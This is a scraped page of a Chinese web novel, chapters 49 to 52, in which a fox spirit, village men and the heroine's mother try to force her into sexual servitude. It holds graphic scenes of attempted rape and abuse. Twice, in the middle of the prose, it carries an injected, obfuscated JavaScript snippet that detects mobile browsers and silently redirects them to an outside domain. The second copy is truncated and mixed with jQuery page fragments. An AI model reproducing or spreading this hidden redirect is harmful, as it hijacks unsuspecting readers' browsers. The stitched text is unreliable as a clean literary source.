故意偏头看了眼背靠桃树,被鸳鸯缠折磨得面红耳赤的我,灰眸深处裂出彻骨阴寒…… 讥讽弯唇,当着众人的面,恶俗地对着怀中女人轻声呼唤:“小阿鸾,看来,今晚是不能同你尽兴了。” 小阿鸾三字一出口,我顿时觉得一股寒意兜头灌遍全身! 心脏猛地被一条无形丝线层层勒住,脑子里轰的一声,震得我双耳轰鸣不止…… 我崩溃地瘫靠在桃花树干上…… 万万没想到,他竟会用这种法子对付我…… 这些天的努力,又白费了。 殿外的女人们面面相觑,张家大娘第一个反应过来,瞪着狐仙怀里的女人,眼底恨意滔天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057846|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碍于狐仙在,不敢随意动手,只能双手紧攥火把咬牙切齿地暗骂: “宋鸾镜这个小**!我们所有人都被她忽悠了,什么会变脸的妖怪,还污蔑她姐姐圣女,呸!明明从头到尾都是她这个小贱种!” 陈家婶子红着眼眶,泪花子在眼睛里打滚,恼恨道:“是她害**我唯一的儿子!这个**的贱妇,我迟早弄死她!” 灰狐仙见到众人如此反应,甚是满意的挑了挑眉头,但下一秒,又陡然变脸,面目阴沉地恶狠狠发话:“宋鸾镜虽然伺候得本王很舒服,但她在床上叫声太大,本王不满意……” 说着,挑衅的瞥了眼站在桃花树下胸腔窒闷喘不过气,浑身打抖的我,卑劣道:“本王把她,赏给你们了,以后你们家男人若有需要,可以随时去寻她,让她好生伺候!” “灰狐仙,你真恶心!”我忍无可忍的眼眶发烫,捂着心口,痛苦喘息着用尽全力骂道。 女人们闻言,也皆是怔愣住,不知所措地互相看了一眼…… 目的得逞,灰狐仙方抱着宋花枝,眯了眯狭长上挑的狐狸眼,冷声吓唬:“还不滚?想让本王,送你们?” 下一秒,女人们就仓皇转身,一哄而散,赶紧跑出娘娘庙各自惊恐逃命去了…… 等庙里的外人全都跑远后,宋花枝才伏在灰狐仙怀里噗嗤一笑,娇媚地用指尖在灰狐仙胸膛上画圈圈:“王上,你对奴家真好……” 可话音刚落,她人就被灰狐仙无情地扔下了青石台阶,光着身子摔在了凹凸不平的青石花砖上,后腰还在落地过程中,被青石台阶划出一条二十公分长的血口子…… 不给她叫疼撒娇的机会,灰狐仙就黑着脸,居高临下地垂眸睥睨着她,严肃发话:“你也滚!” “狐王大人……”宋花枝被他吼得娇躯一颤,张嘴还想说些什么,却被死狐狸眼底的沉寂给吓得把话又憋了回去。 片刻,宋花枝窝窝囊囊地爬起身,捞起地上那层薄纱随意裹在身上,一瘸一拐的狼狈跑了…… 庙里只余下我与他了,他才挥袖撤下结界,我的脚下,也才渐渐有了自己的影子…… 窗外桃花开得异常妖媚,他陡然出现在身体滚烫,喘得上气不接下气的我面前,抬手,有意用指背浅浅摩挲着我的脸颊,勾起我体内的欲念。 “鸳鸯缠,会在本王靠近时,发作得更厉害。没想到,红云洞那条大青蛇对你如此情深意重,你都发作过一次了,他竟还能忍住不碰你……” 指腹落在我汗津津的脖颈上,我瞬间有种找到缓解体内难受办法的错觉,疯狂地想抓住他的手,往怀里送…… 不,不行!他不是青漓! 我的身体,不能给这种脏东西! 我紧绷着脊背,双手十指用力嵌进桃树树干的粗糙树皮里,树皮割破了我的指缝,疼得钻心…… 但我却执拗的指尖用力,让树皮嵌得更深些,企图用这种方式给自己带来强烈痛感,令自己保持清醒。 “呸。”我抬起愈发朦胧的视线,往他那副丑恶嘴脸上狠狠啐了一口,有气无力地喘息道:“青漓是正人君子,才不是你这种恶心的**小人!” 他一愣,抬手抹掉脸颊上的那口吐沫。 扫了一眼,发癫似的反而更兴奋了。 猛地抓住我两只手腕,往上用力一拉,单手便将我两只腕按在了头顶树干上,趁我鸳鸯缠发作凶猛无力挣扎,暧昧地贴近我,张唇往我耳边吹着灼气,得意淫笑: “对他评价那么高?小**,你装什么呢?你和他,睡过不止一次了吧? 身上蛇味这么重,上次你发作,本王不小心让他侥幸得了机会,本王原以为,本王最终会为他做了嫁衣,让他捡了便宜,没想到,他不中用啊! 鸳鸯缠发作时,女子媚态毕出,你这样他都能忍得住不碰你,他不会是不行吧!” 猛地贴近我脖颈嗅了下,他笑声如蛊,语调阴柔:“好香啊,是比宋花枝,要香多了……” 第49章 把她送给村里所有男人 我极度嫌弃地拼命扭头避开他: “你放开我!你别逼我喊蛇王大人出来!你忘记你上次被他打成什么样了么?你敢动我,他不会放过你!” 岂料他听罢我的话,非但不害怕,还更加猖狂地大放厥词,恶心的唇贴着我的耳廓,一字一句气息带动嗓音,小声说: “前几日他在你身上留下的气息还很重,今天,淡的几乎感应不到,小阿鸾,你休想吓唬本王,他今天出门了,对么?若不然,本王都这样待你了,他怎么还能沉得住气不出面?” 说着,他就要扯我的腰带,扒我的衣物。 我一惊,惶恐害怕地大声吼道:“你碰我,他回来你也得死!” 他依旧毫不畏惧,扯掉我的腰带后,细长的大手又来解我衣带, “小阿鸾,你是不是不知道,蛇族对异类的气息格外敏感,蛇仙大多都有精神洁癖,但本王没有,本王不介意你被他睡过,可他介不介意你被本王睡过,本王就不知道了……” 大手扮过我的脑袋,他态度强硬地逼我与他四目相对,亲密地摸我脸庞,目光死死盯着我的唇: “你说,等他回来,是会先杀了我,还是会,先舍弃你这个出轨背叛他的女人?” “你无耻!”我身上一阵阵发软无力,连骂他都费劲。 他变态地低笑出声,拍拍我的脸颊,很乐意看我这幅濒死挣扎的模样: “本王啊,就喜欢性子烈的女人,本王玩过的这么多女人里,没有一个,敢在得知本王身份的情况下,抽本王巴掌。 包括你姐姐,也是一个只会顺从的无趣玩意儿。不过,你姐姐命硬,受得住本王索欢,这是个优点。 本王,也希望小阿鸾命硬,毕竟,小阿鸾这种女孩,香香软软的,应该更有意思。 你给本王争气些,可千万,别没撑过一夜就**……” 蓦地捏住我双腮,男人钳住我的下颌,想凑上来吻我:“今晚,让你尝一尝,本王与那条蛇,谁更有能耐……” 我忍住要呕出来的冲动,呼吸颤颤地赶在他要吻到我的前一秒低声示弱:“狐王大人!” 他一顿,不禁对我提起兴趣,笑眼盈盈:“怎么了?怕了?” 一把环住我的腰,他无耻地往我身上蹭蹭,佯作怜惜:“你放心,本王已经在你姐姐那消磨了精力,今晚,不会让你太难受……” 我紧绷住脊背,动了动被他按麻的双腕,艰难从牙缝里挤出几个字:“这个姿势,不舒服……你可不可以,把我手腕放开……我疼。” 他一双灰青深眸紧紧盯了我一阵,可能笃定我就算恢复自由,也逃不出他的手掌心,便松开了我的双腕。 “别同本王耍花招,你逃不掉的。今晚的鸳鸯缠威力比上次强了双倍,你只有与本王相好这一个选择,不然,没有男人做你的解药,你会憋得痛苦不堪,生不如死,就算侥幸撑过去了,你也会元气大伤,神魂受损。不过……” 他将瘦长的手指握在我的脖颈上,有意往我的衣襟内探: “本王赌你,憋不住……放弃反抗吧,鸳鸯缠,就连有千年修为的狐仙,也压制不住一个小时。届时,可就不是你想不想的问题了,你会彻底失去理智,见到男人便扑……” 手臂肌肉陡然轻松下来,我猛吞了一口口水,牙齿将舌尖咬出血。 腥咸滋味在口腔中扩散开,我反其道而行的主动抱住灰狐仙脖子,气若游丝的虚弱道:“狐王大人,我告诉你一个秘密……” 他怔了怔,仍用感兴趣的语调回应:“你说。” 我笑了下,伏在他肩上,趴在他耳边,认真道:“狐王大人,你有这么多女人,就不怕得病吗?” “……” “狐王大人,你又老又丑,又脏又臭,谁特么想和你这种恶心东西上床!” 我说完,动作利落地抬手拔下头上一枚被我提前用**血与朱砂及驱邪符水浸泡过的花钗子,卯足力气**了他的后背! 他吃痛地猛一把推开我,被我这个举动给激得眼底泛红,“宋鸾镜!” 我知道花钗只能让他暂时疼一下,对他的伤害性并不强,于是又从口袋里掏出提前准备好的香灰,手快地朝他撒过去—— 香火是我从我家那位家神大人的香炉里抓的,华桑大帝的香灰,对付他这只野狐仙应该绰绰有余。 现实也的确如我意料的那般,香灰撒在灰狐仙头上,立时在灰狐仙脑袋上炸开了无数朵火花,逼得男人慌忙用袖子扫身上的**物。 我趁机掏了颗早就备好的醒神丸含在口中,扭头便朝娘娘庙正门方向跑去…… 醒神丸刚在口中化开,虽能让身体恢复些力气,但跑起来还是东倒西歪,晕天转地的。 不过没事,我还有青漓给我的镯子没用! 再不行,就只能对不起青漓,打断他闭关修炼了…… “**,本王杀了你!” 身后那条死狐狸被我气得不轻,抬掌便化出一团黑气,猛地出手,朝我击过来—— 我慌里慌张的举起双臂护住脑袋,脚下步伐跑得更凌乱了…… 本以为他这一掌击过来我会被他打得五脏六腑移位…… 但,走运的是,他的法力还没撞到我,原本寂静的夜空里竟毫无征兆地落下了一道天雷—— 雷光一闪,不但震散了他打向我的那团黑雾,还一道霹雳火光轰在了灰狐仙的脑袋上! 我再扭头看过去时,灰狐仙已经被炸成了狐狸原形,奄奄一息地趴在青石花砖上…… 脑袋上的狐狸**都被劈焦了! 老天有眼老天有眼,劈死这只骚狐狸! 我强迫自己保持清醒,含着醒神丸一刻不敢耽搁地踉跄跑下山…… 一个小时的山路,我跌跌撞撞地走了一个半小时才成功迈上回家的小道。 口中第二枚醒神丸也融化尽了。 好在,很快就到家了…… 我浑身燥热难耐地不断扒拉着衣领,双腮滚烫炙手,头晕目眩。 艰难的好不容易摸回家门口,我昂 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我浑浑噩噩地抬起双臂,想搂他脖子。 但,双臂缠住他脖颈那一刻……我猛地意识到,这个人不对! 青漓身高起码有一米八五。 平时我搂他脖子都得踮脚! 可这个男人,顶多一米七五! 青漓没这么矬! 而且青漓怀里,是一股沁人的莲花香,这个人身上,是腥臭味…… 我倏地醒神,仓皇用力推开这个恶心的男人! 谁知他却再次主动贴上来,抱住我不停柔声蛊惑:“鸾妹,我知道你很难受,我愿意做你的解药!鸾妹,不想那个青漓了好不好,我来让你舒服……” “滚!”我拼尽全力挣扎怒吼,但即便我此刻没有鸳鸯缠发作,我一个女生的力气,也完全拼不过赵二这个成年男性。 赵二好不容易逮到这个机会自然不肯轻易放弃,拼命箍住我的身体,腾出魔爪扒我衣领,面目狰狞地红着双眼恶狠狠道:“今晚不管怎样,我都必须要得到你!” “鸾妹,我爱你啊,我一直都没能放下你!” “可是鸾妹,你太不知好歹了,我是村长的儿子,娶你这个被母亲遗弃的孤儿绰绰有余!” “你却眼高手低,觉得我配不上你。鸾妹,都是我太惯着你了,才让你认不清自己的身份!” “鸾妹,你从前不是这样的,你变了……今夜,只要我们俩结合,明天就再也没有人敢在背后嚼花枝舌根子了……” “等我娶了你,我就好好管教你,免得你总去找你姐姐麻烦。” “鸾妹,我是心疼你姐姐,可我最爱的还是你,别怪我心狠,我只是不想让你被嫉妒蒙蔽双眼,变成那种自私自利,面目可憎的女人!” “鸾妹,我的鸾妹……” 他近乎癫狂的一手胡乱扯自己裤腰带,病态的揪着我头发不许我逃跑…… 第50章 你中了鸳鸯缠,要不然给你找个男人…… 我紧咬舌尖,用强烈的痛意逼自己清醒、攒起力气—— 拔出裙摆上的银针,一针刺进他的腰腹…… 他手上一松,顿时捂着下体痛苦惨叫起来—— “疼、疼死我了,啊——” 我一脚踹开他,步伐踉跄,满头是汗地从怀里掏出**,拔开对准他,大声吼道:“滚!再不滚我杀了你!” 不等他回过神,我就已经拿着**凶猛地朝他捅过去。 他被我吓得惊叫逃窜:“鸾妹,鸾妹你别乱来……鸾妹,**是要偿命的!” 我怒不可遏地举刀追着他嘶吼恐吓:“那我就先捅死你,再给你偿命!” “不要、鸾妹!我走,我这就走……”赵二捂着小腹双腿打战,恐慌到失禁。 没几秒,裤子就湿了大片。 赵二见我打算与他玩命,拽着尿湿的裤腿,慌促逃离了我家。 我等到他的背影完全消失在夜幕那头后,才如释重负的手一松,瘫靠在院墙上…… “镜镜!” 不知过了多久,银杏突然跑过来找到了我…… “镜镜,你怎么了?我听下山的婶子们说,在娘娘庙和灰狐大仙在一起的人是你,怎么又变成你了?!都怪我,我本来也要一起上山的,可我爸非让我留下帮他看着那些被迷了心智施过针的男人。” “镜镜!你身上怎么这样烫!你这样子……” “蛇王大人呢,快让他出来救救你啊!” 我头昏眼花地握住银杏胳膊,吃力虚弱道:“我被野狐狸下了鸳鸯缠……可青漓现在在闭关,他伤得很重,昨天还在吐血,我不能打扰他!” 外婆说过,闭关疗伤需静心凝神,一旦被人强行打断,是有被反噬的风险的。 严重点,还可能会走火入魔…… 青漓之前吐血吐得那样凶,样子那么痛苦,他现在闭关静养,不到生死关头,我决不能拖累他! 银杏焦急道:“那该怎么办啊?要不然、我给你找个男人……” “不用!”我赶忙打断她的奇思乱想,借住她的搀扶,抖着手拿钥匙打开院门…… 进了院子,我走到水井边,拿起地上的麻绳系在自己腰上。 麻绳另一头拴在水井上方的打水架子上。 “镜镜你要干嘛啊!”银杏担忧地想拦我。 我熬不住的痛苦道:“只有这一个办法了。” 一把抓住银杏的胳膊,我拜托道:“杏子,辛苦你守我一夜,明天早上拉我上来!” “镜镜!” 我没给银杏阻拦的机会,咬牙一头扎进了井水里…… 银杏被我吓一愣,在我迅速坠落时眼疾手快地按住了狂转的木摇架。 绳子的长度正好够我大半个身子浸泡在森寒井水里,肩膀以上部位不会被井水淹没。 对付这种烈性咒术,只能用冰水才能缓解我体内的燥热。 这个时节,山上已经没有冰水了,唯有井水最寒…… 我也清楚,我这具肉体凡胎被鸳鸯缠这么一折腾,再被井水这么一浸泡肯定会留下后遗症。 可我别无选择。 刺骨的寒凉融进骨髓里,我拽着绳子吊在井中,颤抖地舒了一口长气…… 肉身被冰火两重天给磋磨得没有一丁点力气。 但好在,那股欲望算是慢慢溶解在井中了…… 该死的灰狐狸,总有一天,我会把他千刀万剐! 银杏胆子小,在井口守了我一夜,隔十分钟便要喊我一声,生怕我把自己淹**。 我拿她没法子,便趁着这个机会,将娘娘庙发生的一切都向她重述了一遍。 她听完气得在井边乱踹,差点把卡死的木头摇架踹散,害我掉进深水呛死…… …… 凌晨四点,银杏把泡得皮肤惨白的我从水井里拽出来,又在屋里点了堆柴火,给我找了件秋冬季节穿的长裙套上。 我缩在火盆边,瑟瑟发抖到天亮。 娘娘庙的事很快就在村里传扬开了,天刚大亮,我头一夜在娘娘庙私会灰狐大仙的丑闻就散遍了月阴村家家户户。 六七点,村里有中年妇人跑到我家门口破口大骂。 什么小**、贱蹄子、狐狸精,骂得要多难听有多难听…… 我本来不想理会,还拽住了握着铁锹不肯撒手的银杏。 可谁知,八点那会子,我竟在门口骂我的大娘口中得知,昨夜村里的男人都做了个梦,梦见灰狐大仙通知他们,从今天开始我就是族里男人们的共有物。 所有男人都必须排着队,来我家和我欢好,少一个,他就屠了月阴村全村。 这下可好,我浪荡**的罪名就彻底被灰狐仙坐实了。 乍一听见这个消息,我只觉得脑袋里突然降下一道晴天霹雳,阵阵轰鸣震得我脑中嗡嗡作响,什么都想不起来了…… 村里的男人们倒是对这种好事搓手称赞,女人们却坐不住了,纷纷指责我不要脸,想用这种肮脏手段抢她们的丈夫。 她们在我家门口又哭又闹,有几个女人甚至还扬言要烧了我家屋子弄死我。 银杏哪里听过这么脏的话,忍无可忍地拎着铁锹就出门与那些女人对骂了起来…… 幸好银杏刚出门五分钟,阿乞就带着长老会的人赶来帮忙了,这才将那些不知真相的女人撵回去。 众人散去后,银杏在门口着急地向村长与阿乞告状: “那只灰狐仙实在太欺负人了,他怎么能这样报复镜镜呢!他怂恿那些男人来找镜镜…… 还用屠村来威胁族里人,这让镜镜以后怎么活啊!昨晚和灰狐仙在一起的明明就是宋花枝,你们也知道,昨晚那异香传出来的时候,镜镜还在村里呢! 灰狐仙是为了保护宋花枝,才故意让镜镜顶罪,现在蛇王大人在闭关修炼,镜镜又不愿意打扰蛇王大人,可怎么办啊!” 村长长叹了口气,残忍地道破现实: “可如今,没有其他人看见,和灰狐仙在一起的是宋花枝,她们瞧见的,都是宋鸾镜趴在灰狐仙怀里。更没有证据证明,是灰狐仙与宋花枝联手污蔑鸾镜……没人会再相信鸾镜了。” 是啊,没人会再相信我了。 或许,在她们心目中,早已把我定性为撒谎成性的害人精了…… 阿乞和银杏想回来安慰我,但都被我麻木地拦在了门外。 我想一个人先静静…… 外婆早就告诉过我,山里的那些野仙心狠手辣,最擅长攻心之术。 是我太废物,但凡我有外婆一半的能力,我也不至于像现在这样,被那条死狐狸一句话就毁了一辈子…… 然而,现在我连与灰狐仙争个你死我活的本事都没有。 外婆在世时,我偷懒不肯学习巫术,现在外婆走了,没人会再给我遮风避雨了…… 也许,我还有青漓。 是我太蠢,误以为那些野仙家都像青漓一样温和无害,实际上,只不过是青漓他愿意纵着我罢了…… 野仙家真想杀掉一个人,都不用亲自动手。 我还可笑地觉得,我是凭本事在青漓手底活下来的。 果然,被呵护的人,只有在经历过现实的毒打后,才能认清自己究竟有几斤几两。 我愣愣坐在院子里的石磨上,盯着阴沉的天空,目光呆滞地沉默了一上午。 我想报复回去,可我的实力不允许。 先是大祭司,后是灰狐仙…… 究竟怎样,才能迅速强大起来。 下午两三点,院子里起了风。 头顶的槐花树突然掉了串半开的小白花砸进我怀里…… 我低头,捡起腿上的槐花。 再抬眸,却见一道神骨玉立的墨青色身影悄无声息地显现在了我眼前。 我意外地怔住,愈发朦胧的视线落在他隐隐泛着心疼之色的深沉眉眼上,强装镇定地弯唇笑笑,问他:“你不是在闭关养伤吗?怎么又出来了?” 下一秒,他温暖的大手就贴在了我的脸颊上,垂眼瞧着我苍白的容颜,沉沉说:“本尊,不放心你。” 原本我还是能忍得住那些委屈的,可听他这么一说,我的眼泪顿时就像断了线一般,噼里啪啦地疯狂往衣领上砸。 克制不住地猛扑上去,抱住他,一头埋在他胸膛上,无声痛哭,哽咽低吟: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我都已经能想象到把它们放出去对付灰狐仙,那条死狐狸一口一个将它俩全吞了的惨烈画面了。 “它们,应该比你想象中的稍微有本事点。” 男人骨节分明的修长玉指在虚空中随手画了两笔飘逸的符文,转头告诉我:“这是禁锢它们的方法,若它们调皮不听话,你就用这咒法收了它们。” 我看向虚空那道泛着金光的符文,符文样式简单,倒是好记。 认真将符文的每一笔都牢记脑海后,我颔首说:“记住了。” 不过,两只小纸人,就算再调皮不听话,又能折腾出什么浪…… 但青漓也说了,这只是两只小玩意,一定是他晓得我委屈难受,所以才拿这两只小纸人逗我玩。 他,是不是知道灰狐狸干的那些事了? 他知道了多少…… 我把纸人收进口袋里,心虚地催促他:“你赶紧回去闭关吧,早点养好伤,出来给我撑腰。” 他欲言又止地看了我一眼,片刻,嗯了声。 就在我以为他要化成流光消失时,他却突然又抬手抱住了我…… 我被他惊得一僵。 他掌心用力,将我按进他温热的怀抱里,男人身上的怡人温香缕缕缠裹住我,令我不由一阵心安…… 临走,他还不忘往我耳尖轻啄了下,附在我耳畔低低道:“等我。” 我乖乖答应:“好。” 他得到我的回应,化作清风消失。 而我看着空荡荡的庭院,总算是有精力去办其他事了。 死狐狸,真以为我是那种轻易就会屈服的女人吗。 今晚谁敢进我家,我不介意真杀个人给他们瞧瞧! 野狐仙……总有一天我会扒了你的狐皮,抽了你的淫骨喂狗! 只是,我万万没想到村里那些男人们的胆子这么大,太阳还没落山他们就敢仗着灰狐仙的势往我家里钻。 傍晚五点,我刚绑好一根树杈机关,整副机关还没做完呢,腰身就突然被人从后搂了住! 第51章 要么伺候那些族人,要么做神妃 “谁!放开我!” 我条件反射地激动挣扎,惶恐扭头,却发现身后的男人竟是同村的徐二狗! 与他一同出现在我家的,是宋淑贞的狗腿子许三筒。 彼时徐二狗正从后搂着我的腰,呲着两排黄牙冲我淫笑,得意道: “哎呦小美人儿,今天总算是落到了我的手里,我可是好不容易才求得大祭司让我第一个来尝你滋味…… 别挣扎了,大祭司都安排好了,村里男人多,以后每晚都有两个男人来伺候你,我们全村,排着队来宠你。 来来来,先让叔叔亲一口!” “恶心!” 我一拳头重重挥在徐二狗的腮帮子上,徐二狗吃痛放开我,捂着迅速红肿的脸庞踉跄后退几步,又急又怕的抬手指着我勃然大怒: “好你个小**,这会子装什么贞洁烈女呢!你之前不是挺欲求不满的吗?怎么,从年轻的小白脸换成我们,你就不乐意了? 我呸!我告诉你,不管你愿不愿意,狐仙大人已经发话了,今天还只是个开始,以后每晚,都会有又老又丑的男人来睡你,你不是喜欢吸噬男人阳气吗? 好啊,我们给你吸,给你吸得多多的,撑死你!” 说罢,扭头与许三筒说:“老三,咱们一起动手!今天非把这个小**收拾服帖了!” 目露淫光的许三筒搓搓手,一口答应:“好!咱们把她拖进屋里,一起上!” 我冷笑一声,“那得看你们,有没有这个本事!” 灰狐狸我打不过,这群渣渣我还能对付不了么! 两人一起朝我扑过来时,我伸手抽过一根粗树棍,一棍子挥下去将他二人俱是打得鼻血乱飚。 不等他们表情扭曲地再靠近我,我就掏出一把能让人半身不遂的阴蛊粉朝他们撒过去…… 阴蛊粉落在两人身上,两人顿时跌倒在地,疯狂抓挠着自己的皮肤,凄惨大叫: “痒、好痒!” “疼,疼死我了!” “又痒又疼,好痛苦,我好痛苦!” 不过半分钟,两人的皮肤就开始发黑溃烂,血肉深处还长出了白白胖胖的肉蛆…… 许三筒与徐二狗的惨叫声太大,躲在门外听动静的老淫棍们立即破门而入,领头的薛秃子一见这情况,当即指着我大骂: “你个贱种!我们就知道你今晚不会老实,既然你敬酒不吃吃罚酒,那就别怪我们对你不客气了!两个不够,那我们就二十个一起对付你!” 说着,大手一挥,胸有成竹地挑眉奸笑道: “来啊,大祭司说过,只要把她给的蛊丹喂给这个小**,她就会沦为靠我们精气续命的玩物!我们先按住她,再把蛊丹全都喂给她,让她今晚,求着我们喂饱她!” 男人的污言秽语听得我一阵反胃想作呕,一张张熟悉的面孔如洪水猛兽朝我扑过来的那一刻,我举起腕上镯子,用意念操控红丝将他们全都击退数步,撞摔在地。 “想碰我,做梦!别逼我杀了你们!”我精神高度紧张地趁机跑出院门大敞的家,本想去李大叔那里避一避,谁知却在半路上被宋淑贞拦了住! 我看见宋淑贞那一刹,脚下四周也顿时燃起了一个火圈…… 我想冲从火圈内冲出去,却在靠近火圈时,突然发现火圈的颜色不对! 凡火都是**二色,只有巫火,才是紫黑红三色! 她是想用巫火烧死我! 我顿住脚步,隔着烈烈火光,看向一身墨色鸦羽祭司服装扮的宋淑贞,自嘲地笑了声,毅然对上她冷冽的眉眼,质问道:“你就这么想杀我?” 宋淑贞拄着乌灵木权杖,一手捻着檀木念珠,精神松弛地走近我两步, “本祭司也可以不杀你,只要你老实听从灰狐大仙的命令,做侍奉族中男子的神妃,本祭司就留你一命!” “神妃?” 我嗤笑着重复这两个字, “五百年前,阴苗族曾择选过三代神妃,说是给神明做伴侣,实际上却是和落花房里面的那些女人没什么区别,都是为了满足族中这些贪婪男人的兽欲! 哦不,神妃,其实比落花房里的那些女人还惨,落花房的女人是为了传宗接代,而神妃的存在,只是为了发泄欲望,神妃不被允许怀孕,因为一旦有孕,就不能伺候男人了。 落花房的女人死于生产之苦,神妃,则是死在男人的身下,精血耗尽而亡! 大祭司,究竟是多深的仇怨,才让你,这样对待自己的亲生女儿? 把亲女儿送去做神妃,你为了折磨我,连自己的脸都不要了?” “你不是我的女儿!” 宋淑贞风韵犹存的美艳容颜一寒,提着权杖重重敲地,呵斥道: “你就是个脏东西杂种!你不配做我的女儿,本祭司,只有花枝圣女一个闺女! 况且,让你做神妃,已经是本祭司给你选的一条最好的路了,神妃身为承载族人贪嗔戾气的容器,你能因此而死,也是功德一件! 你本来就一身污秽,你生来就满身污浊,你还敢肖想做圣女?你也配! 你就适合做族中最脏的神妃,怪只怪宋瑶芝当年偏要救下你,你若二十二年前就死在本祭司的手里,如今也不用遭受如此多的苦难! 你的命,本来就是偷来的,你霸占花枝的气运不放,就该承受这份代价!” “我与宋花枝同父同母,难道就因为我生下来没有凤凰接引天降吉兆,我就是脏东西了?” 我盯着宋花枝,心累苦笑道: “宋淑贞,你可以不承认我是你的女儿,你也可以偏心宋花枝,怨我分走了圣女气运,可你没资格取我的性命!这世上所有人都可以杀我,唯独你,没资格对我喊打喊杀!” “我是你的母亲,你的生死就该由我做主!”宋淑贞怒吼,我亦不服气地大声反驳回去:“你刚才还说我不是你的女儿,我就是个脏东西杂种!” “那我对你也有生身之恩,我想怎样处置你,都有资格!” “生身之恩只是一条命,可这条命你已经在逼我替宋花枝嫁给灰狐仙的时候就已经用掉了!” “就算如此,你是阴苗族人,本祭司身为阴苗族大祭司,也有权处置你!”她恼火愤怒地抬手指着我,一字一句喊道。 我咬牙不服:“你只是大祭司你又不 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我死不死还难说,但我确定,逼急了,我真会弒母! 宋淑贞抬手运巫术又要加大火力烤死我,危急关头,躲在我口袋里的两只小纸人突然紧张冒出头…… 我赶紧把小纸人按回去,这火可比凡火厉害上千倍,这么高的温度,它们说不准冒头就被烧成灰烬了! 小纸人不听话的拿脑袋顶我手指…… 幸好,宋淑贞正要出掌攻击我的那一刹,李大叔及时出现,一把勒住宋淑贞手腕,掌中法力强行压下宋淑贞的巫术。 手上用力一甩,将宋淑贞扔退数步。 黑着脸凝声斥责道:“够了!你还要荒唐到什么时候!这个才是你的亲女儿!你非要斩草除根才肯罢休吗!” “李忘尘……” 宋淑贞看见李大叔,先是愣了下,幽暗眼底划过一丝慌促,但紧接着却是怒气更盛,目中杀机毕现: “本祭司处理族中孽障,你有什么资格插手!你别忘记了,你不是阴苗族人!少在这里碍手碍脚,给我滚!” 李大叔蹙眉冷漠道:“我是没资格插手你们族内决策,但天下人管天下事,路有不平,便要有人阻挡下这份不公!” “不平不公,说得冠冕堂皇!想主持公道滚回你的玄门道观主持,阴苗族,还轮不到你说话当家!” 宋淑贞猛一挥墨色袖袍,铁了心要弄死我,眯了眯深邃美目,咬牙要挟:“你再多管闲事,休要怪我对你不留情面!” “淑贞。”李大叔沉闷的唤了宋淑贞一声,话里有话道:“你何时,对我留过情面。” 宋淑贞握着权杖的五指陡然一紧,脸色难看地抬头冷眼剜他: “本祭司今天没功夫和你在这扯什么有的没的!让开!以本祭司现在的修为,你不是本祭司的对手。” “淑贞,回头是岸,别再执迷不悟了。孩子的父亲,从来没有欠过你,孩子自己更是无辜的。 二十多年前的事,你们都没有错……” 第52章 交出害人的青蛇大妖 “你还敢和我提那些事!” 不知李大叔哪句话刺激到了宋淑贞,宋淑贞眼角猩红的举起权杖指向李大叔胸口,情绪崩溃地怒吼道: “你真以为,我不敢杀你?李忘尘,这些年要不是老东西护着你,我早就把你千刀万剐**万段了!” 李大叔抬手一把攥住乌灵木权杖,冷静启唇:“淑贞,你杀不了我,有我在,你也休想伤害这个孩子!” “李忘尘!”宋淑贞暴怒嘶吼。 “老李?” 双方争执间,村里附近的男男女女也都被这边的动静吸引了过来。 侥幸从我家逃出来的男人捂着蛆虫蠕动的手臂,迫不及待控诉我的罪行:“老李,你这是在做什么?大祭司是在为民除害!” 老林家的媳妇看热闹拱火附和道: “就是!我们都知道老祭司生前和你有些交情,你是受老祭司托付才处处护着这个小**,可你不能纵容这个小**祸害咱们月阴村、祸害咱们整个阴苗族啊!” 沈家大娘抹着眼泪愤恨大骂:“要不是这个小杂种,我儿子年纪轻轻,也不会命丧黄泉啊!这个小杂种留不得了,她身上背负着这么多条人命,她就该以死偿命!” 一句话引得在场男女老少纷纷呼应:“沈家大姐说得对,早就该把这个小**处死!这样就不会给我们村带来这么多后患麻烦!” “老李,亏你还是道门中人,你们道士不是将降妖除魔拯救苍生视为己任吗,现在护着这个小杂种又是什么意思!” “当初就不该将她送进长生宫,应该把她按在娘娘庙就地处决!” “她**娘娘庙,不敬神明,吸噬无辜同族的精元,以至于数名族人惨死,她该死!大祭司做得对,烧死她。” 更让我匪夷所思的是,躲在人群中探出半个头的林家五岁小孙子,此时竟也举着手臂嗓音稚嫩的大骂:“烧死这个**!” 想了想,又奶声奶气地说:“不、不行,爸爸说了,要先把她扒光,在她身上画满王八,等她把爸爸伺候高兴了,再杀掉她……” 我万万没想到,这么小的孩子嘴里,竟然能说出如此肮脏污秽的话! 闷笑一声,我低头,突然感觉月阴村的未来已经完了…… 林家媳妇闻言赶忙伸手去捂小孙子的嘴,低斥道: “呸呸呸,胡说八道些什么呢!这种脏东西也配上你爸的床?果然是个**的勾人妖精,这还没开始呢,村里男人们的魂就都被她勾走了!” “灰狐大仙可是发话了,我们家男人要是不去找这个小**睡觉,他就要屠村!” 贺家媳妇像盯杀父仇人似的瞪着我,气急败坏地催促: “要是被男人们尝到她的滋味了,以后还会有我们的好日子过吗?倒不如请大祭司现在就把这个**千刀万剐了,免得留着碍咱们全村女人的眼。” 有男人厚颜无耻地着急道:“别啊!你们管自家男人可以,别断了咱们这些光棍的福利啊,我还没来得及体验一把年轻女孩的滋味呢!” “呸,破鞋配烂货,绝配!” **儿子的冯家老太太立马也原地表演起来,一屁股坐在地上凄声哭嚎: 